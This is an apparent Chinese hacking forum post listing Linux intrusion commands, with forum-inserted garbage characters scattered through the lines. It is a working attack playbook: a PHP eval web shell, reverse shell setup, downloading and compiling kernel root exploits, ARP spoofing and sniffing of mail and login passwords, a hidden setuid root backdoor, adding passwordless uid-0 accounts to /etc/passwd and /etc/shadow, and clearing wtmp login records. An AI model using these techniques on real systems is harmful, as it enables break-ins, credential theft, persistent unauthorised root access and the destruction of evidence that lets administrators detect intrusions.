黑客常用Linux入侵常用命令

[复制链接]
kgd520 发表于 2017-12-31 02:03:49 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
: Y# k0 L, ]5 [7 ~
写个php一句话后门上去:4 p; y# G( E2 j1 `
[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php* e7 r! H( t% f# f$ A- p7 d
[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php
- E8 `# l" L/ h" K( S" O; W" \' L1、linux的想着先跨站, E! h. m4 N4 g& R
shell浏览目标站不行,命令行下输入:. l7 e7 ^& p7 {# q: I% i! o
ls -la /www.users/7 F; ~- t8 d& `9 q! ?7 v
2、溢出提权/ R) l2 p1 _0 M/ G" m8 p# \
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);
" H! a4 _- B8 j1 n0 Y2 c9 c来得到交互的Shell,一般的系统都默认安装python
9 @8 ^( v5 ?1 d* N' |- N
输入id7 [0 d5 a" r4 R$ k. y3 U' o
bash-3.2$ id
% O0 G3 G: w# l6 s& H, ^3 }uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)
+ E& T- U/ i$ q$ s( hbash-3.2$8 y8 i% w& D$ ^" |% d% s5 C( c
这里uid=529(zeicom)还不是root权限,
4 P, A+ s; o9 f) `输入uname –r5 }* Y' w. q9 A. {
返回:2.6.18-164.11.1.el5PAE8 V% i8 D; d. P+ \1 ]
Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出* q/ ?/ ]( w& I/ G
找对应的exp, 这里地址整理很齐全可以这里下$ O3 R( V& m  N0 T# [+ F
http://tools.90sec.org/
( i- _$ \1 x( E$ ]% g+ R3 Mhttp://sebug.net/paper/linux_exp/& T; E6 U  \$ v, c% x  \" B
http://x73.cc/bitch/exp/9 S, ~5 N8 s# p- @( D/ Y4 H
http://www.exploit-db.com/search/2 F6 y+ P) @. n& P2 n) A
命令输入pwd,这个命令是显示当前目录,* ^3 \/ t( ?- Q0 _1 u( T) h$ e( Q. q
先看能不能编译 gcc -help
' Z6 {  ~* t  l6 V% o7 f当前目录就是shell的目录,我在shell上传2.c
; E$ s% a3 l2 ?" }) }/ \) t) X' S反弹shell 到外网自己机器的12345端口) D0 w7 N& }1 c* i  _
上外网服务器 本地监听 nc -lvvp 12345
) \9 \# @' z% M; P) y一般都能得到一个apache交互的shell 有时候又不行/ o2 w3 ]' ^0 P5 b+ ]: {# _0 a
这时候
; p, c0 x! ^$ K( Z
# python -c 'impotr pty;pty.spawn("/bin/sh");'
6 I' H5 d% N( Pcd /tmp 进入tmp目录* u) }2 O. h5 S- q& l- t& V( U
mkdir Papers 创建一个Papers的目录 Papers不显眼6 c; u/ }& i0 ^1 l! A
cd Papers 进入 Papers目录
9 ?* z$ X& m; i: @5 ipwd 查看当前目录
' {; s5 E  I9 W; e然后命令输入
% ]  j5 U' X- g: ]1 R$ Y! E0 Uwget 下载exp, }. w5 y* c# H0 p  x
gcc –o 2 2.c //把2.c编译成可执行文件 g++ keio.cc -o keio% [" Z6 V' `/ f5 ]
chmod +x 2 //给2有执行权限) _0 v% b* v0 O3 b
./2 //执行2, 溢出
; B/ r9 S0 Q9 Wgcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
( a; X! R- ]; W
确定arpsniffer.c需要先装pcap和 libnet。
: I, e- a; V2 S% y
rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
7 V4 |! W! R* ?1 b8 z+ z7 awget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
7 r% k/ c- P- V5 Z) p# h2 r4 z, _; R0 ^tar zxvf libpcap-0.8.1.tar.gz0 J$ Q  h7 f9 z; J
cd libpcap-0.8.19 G' `/ E! T7 E! M
./configure, K4 Q+ d- w0 A4 R+ p, p- v
make$ O9 n9 `# k% s3 A+ l. X0 g; h1 Z% W
make install
" k6 b7 q6 F/ k4 I# g( @
重新编译arpsniffer.c6 a5 O1 f8 W! z+ C3 q
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
9 n, f! R2 L/ `' g5 [5 Z2 p
这次没报错,编译成功。
/ M7 i' Y# W. ~$ g5 h
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.2541 h( C6 b, X* x- f5 q, [9 L/ C
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)! l/ N: Z) W2 t
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
. g. d7 |) \- }% C' t1 u
在另一个登录里面用tcpdump监听下; E4 T9 N& X8 p4 M7 R4 d0 A0 s' ]
tcpdump -i eth0 host 192.168.0.11
4 L! o3 k% L1 w% ~
发现有数据,把监听的数据存在文件里面:) o" A& s$ U) n8 s+ w
tcpdump -i eth0 host 172.16.0.12 -w pop.txt
& ?) m" {+ N. n4 e9 ?5 }+ z4 A
10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。
% f" w0 e5 ^2 ~. [  i$ ~3 T7 [下面我们就可以用linsniffer监听我们想要的用户名和密码了。
! b. M& _6 u0 p" ?, ?, _先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:* s* K9 y. Q: d
if(ntohs(tcp->dest)==21) p=1; /* ftp */- q' @  r! t+ h3 ?& `9 ^7 R
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
/ a) w2 z  L/ R5 Eif(ntohs(tcp->dest)==23) p=1; /* telnet */
- l- n1 L, x8 v& Y9 E$ a+ w! ^+ S  yif(ntohs(tcp->dest)==80) p=1; /* http */" d# S( D8 ^/ }, w* y
if(ntohs(tcp->dest)==110) p=1; /* pop3 */: ~$ f3 \, B5 }5 y& G% {
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
, _7 D$ s7 V" h' g8 E. ~9 Z( _* {if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
# k2 ?9 |$ Q4 h! L2 f[root@bbs111 root]# gcc -o linsniffer linsniffer.c
) s: j0 u: k: V/ B2 U2 S8 MIn file included from /usr/include/linux/tcp.h:21,( y3 m/ o, J+ J
from linsniffer.c:32:5 C9 {% X1 h! Y% A( g+ o
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!8 w, R; T9 a5 U
不用管警告,直接运行编译后的linsniffer即可。
) M& A# c4 @1 f7 M6 {! ]
[root@bbs111 root]# ./linsniffer
6 ]2 T. ^3 g* [
用户名和密码都自动存到了tcp.log下。
" \& z/ h' m. _" G, j3、利用跨站代码
' h7 S  s8 B+ R4 ?linux不提权跨目录访问的代码3 p( n0 N: N! R1 z4 {
linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。
; p  m: @# D' c* s在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。( Q, X7 G' K4 z7 y' [6 M
代码如下:* R+ v7 l. G6 Z$ R: z% e
$path = stripslashes($_GET['path']);' Q. m3 t% E+ l+ @' X
$ok = chmod ($path , 0777);
2 J7 O, ?3 n1 A7 vif ($ok == true)9 q3 J: z! K( Q
echo CHMOD OK , Permission editable file or directory. Permission to write;& V5 `! t: X9 p% G7 g, e4 X
?>
  B9 {7 T* R4 C! p* Q1 g. ^
把上面代码保存为tmdsb.PHP
/ d/ Y! \4 V7 e: _0 i然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php
8 z4 s$ ?2 b# D8 U. h这里的index.PHP是要修改权限的文件。9 x" H8 K# ~) m6 w
收集的另一个exp:' N6 m8 S0 |2 N3 P# F: V4 i5 K
把下面的代码保存为exp.PHP
4 g9 \' M+ i4 g0 G代码:
) X: Y. p; E- X4 [: A  p
@$filename = stripslashes($_POST['filename']);7 N# m- c4 r* R' g; |
@$mess = stripslashes($_POST['mess']);* Q, L4 `* ]9 ~+ M. @
$fp = @fopen({$_POST['filename']}, 'a');
3 r, A  p2 s/ r$ ]! W@fputs($fp,$mess8 f/ x, O. n1 k
);$ k/ b- [; D3 ]5 O# C5 Y
@fclose($fp);
/ B/ W6 t6 ~# L4 I1 b& }) b?>" P9 s5 s$ q" ]' X. i
4.2.618最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功2 Y2 S5 J3 X9 R
udev提权
9 D7 u- q" x# e- f2 L' l换了个udev提权,适用于内核范围为2.6.*。' Y8 f# E, m( e1 M& v9 X* e8 z
还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。
& \  p; v0 S5 g) |- i2 V& c
chmod +x pwnkernel.c' _- g! u' U& @- \5 z+ O
chmod +x wunderbar_emporium.sh
& C: {# S, v# ^4 F8 c7 i0 Rchmod +x exploit.c
% W: e: s. @+ ~' ]/ M之后执行溢出./w*& M6 G& K6 Y& J5 x% v& M
成功溢出,root权限。
( F0 `0 @. n# g( D9 p* l% x8 M1 K之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。(useradd -u 0 -o "username")
: s$ c9 o8 |% O. G) K' Q8 D依次输入命令
9 Q  p6 u8 p! [' J' h
cd /tmp
. j+ @/ p6 [8 h( esh-3.1# ls /lib/ld-linux*
- w, |/ U: g% _: w* `/lib/ld-linux.so.2
4 K! S+ P/ R* _* o* csh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven* s" E8 E" K) H; ~* h
sh-3.1# ls -l .str1ven
+ O: b  z' R, w1 X7 K! t5 y& X-rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven
  _; J4 s0 a2 J9 N1 [0 L( ~( p% W# a3 vsh-3.1# chmod +s .str1ven
$ y0 t+ W0 G) `$ _9 Esh-3.1# ls -l .str1ven
  E2 ^4 t% L! g, i-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven. [1 w$ o$ v' r
成功建立一个后门,退出root,执行./.str1ven `which whoami`,又成功获取root权限~~8 l8 P/ b' a2 v$ c
cat /etc/passwd 查看linux用户
0 I# @/ D! z/ F' f" s$ ^* R/ O: C3 v5 o8 tcat /etc/shadow 查看用户密码需要root权限
2 E; _+ `, J3 ?, ucat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息5 y) X/ ]9 \: J' Q
ifconfig 查看本机ip信息2 k+ [4 K- Z) `4 p8 N% I* X
cat /etc/resolv.conf 查看DNS信息
  K$ o4 C' L# a6 A! n5 s& E4 m2 Tbash -i 在反弹的shell中使用可以直观显示命令" ~1 T, S  t3 ]; x5 i
bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以; v  p! ?- {7 v" c7 _& t$ J( U* h
Root登陆时,你的prompt会变成bash#。
4 i- R3 k7 q& `3 e系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
2 H9 T+ J, q$ I8 J. _1 @1 Oecho 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,: U3 H# h9 S- n) G, l$ o
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
, N# v8 ^. k3 O& ]/ ]+ Onetstat -an |grep LISTEN |grep :80 查看端口
( d3 U( i5 K  j; @7 e# d9 z  bservice --status-all | grep running
: m1 ?. v' i& P) y# @# jservice --status-all | grep http: W2 T: P; e! ^9 E  ^6 l/ V. Q; e
查看运行服务
7 K6 m( o; ]2 A% j2 W& @- mlsb_release -a 查看系统版本
% i: n4 k8 p8 O/ J  c1 x重启ssh服务 :
. N( m8 `. H3 {* m3 ]! p& T4 C: f7 Z/usr/sbin/sshd stop/
7 W. v, k- @0 b5 f$ z8 i) I  Tusr/sbin/sshd start
  t4 @/ O! n- U. z* E+ u% cssd_config文件里- ~2 M: |/ i; X) g
PasswordAuthentication no,  |$ @/ q- v* Q: L6 c3 S* a
将其改为0 u% ?# A0 _) S0 H# ^
PasswordAuthentication yes3 E  r9 a( A' I  G
远程ssh才可登录
# W+ j3 P9 N  ?/ j) l否则显示Access denied
! P. {7 O, ^! N, M其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.
1 n% s& ?# I( r1 ]4 h' psu的菜鸟用法& E; l+ Z6 L# Y6 Q
先chomod 777 /etc/passwd
! h8 \9 Z, W! p& I) J然后修改bin用户的gid和uid为04 X2 c: i  T- \( h) ?5 j7 U7 A
然后passwd设置bin的密码! r5 y6 ]' s$ V4 [, i
然后cp /bin/bash /sbin/nologin
; v( a1 o, o2 {; R! j然后su的时候su - bin就可以到rootshell了。4 e: V: y+ a% p- }/ }* w
这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。
# U/ k2 Z7 ^6 @3 s" h2 O* O" i还可以这样
  r1 I3 j* H1 w
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd
& B( O% h/ z, u5 Bgcc prtcl2.c –o local –static –Wall& R* F6 Y1 R! `9 c4 ]
echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd2 V3 w* r* I$ y0 b3 V4 L
echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
8 Q8 a# E9 ^5 F
清空last记录 cp /dev/null /var/log/wtmp
- `+ U2 x% I  u; N' O; M6 g-----+ j; A1 Q3 c5 B" |3 R+ l" `
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的8 D( B0 m- B( I1 J2 T
/etc/init.d/ssh start 开22端口# o  g5 ]- E- p; P
/etc/ssh/sshd_config SSH服务配置文件

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题
推荐阅读更多+
阅读排行更多+
用心服务创业者
0851-88611148
周一至周五 9:00-18:00
意见反馈:admin@0851life.com

扫一扫关注我们

Powered by 童码少儿编程 X3.4© 2001-2013 0851life Inc.|网站地图